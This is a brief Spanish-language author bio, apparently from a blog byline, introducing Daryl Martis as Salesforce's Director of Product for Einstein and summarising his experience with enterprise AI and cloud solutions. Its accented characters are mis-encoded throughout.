Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene m谩s de 10 a帽os de experiencia en la planificaci贸n, creaci贸n, lanzamiento y gesti贸n de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje autom谩tico y en la nube. Anteriormente trabaj贸 en la industria de servicios financieros en la ciudad de Nueva York. S铆guelo en LinkedIn o Twitter .

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